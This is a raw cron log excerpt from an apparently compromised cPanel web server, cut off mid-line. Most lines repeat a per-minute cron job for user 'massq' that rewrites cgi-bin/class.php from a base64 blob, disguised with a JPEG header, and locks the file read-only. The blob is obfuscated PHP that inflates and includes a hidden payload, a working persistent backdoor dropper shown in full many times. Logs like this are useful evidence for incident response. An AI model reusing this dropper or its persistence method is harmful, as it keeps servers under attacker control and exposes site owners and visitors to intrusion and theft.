Nov 15 21:45:01 server CROND[28558]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 21:46:01 server CROND[28864]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 21:47:01 server CROND[29221]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 21:48:01 server CROND[29480]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 21:49:01 server CROND[29759]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 21:50:01 server CROND[30047]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 21:50:01 server CROND[30049]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 21:50:01 server CROND[30051]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 21:50:01 server CROND[30052]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 21:50:01 server CROND[30053]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 21:51:01 server CROND[30368]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 21:52:01 server CROND[30714]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 21:53:01 server CROND[30973]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 21:54:01 server CROND[31242]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 21:55:01 server CROND[31658]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 21:55:01 server CROND[31660]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 21:55:01 server CROND[31661]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 21:56:01 server CROND[31988]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 21:57:01 server CROND[32337]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 21:57:01 server CROND[32339]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 21:58:01 server CROND[32592]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 